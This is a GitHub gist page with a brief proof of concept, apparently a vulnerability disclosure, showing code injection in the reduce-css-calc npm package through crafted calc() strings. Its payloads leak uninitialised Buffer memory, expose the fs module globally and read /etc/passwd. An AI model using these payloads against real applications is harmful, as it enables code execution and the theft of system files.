Skip to content

Instantly share code, notes, and snippets.

@ChALkeR
Created August 20, 2016 00:55
Show Gist options
  • Star 2 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save ChALkeR/415a41b561ebea9b341efbb40b802fc9 to your computer and use it in GitHub Desktop.
Save ChALkeR/415a41b561ebea9b341efbb40b802fc9 to your computer and use it in GitHub Desktop.
reduce-css-calc code execution
const reduceCSSCalc = require('reduce-css-calc');
console.log(reduceCSSCalc(`calc( (Buffer(10000)))`));
console.log(reduceCSSCalc(`calc( (global['fs'] = require('fs')))`));
console.log(reduceCSSCalc(`calc( (fs['readFileSync']("/etc/passwd", "utf-8")))`));
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment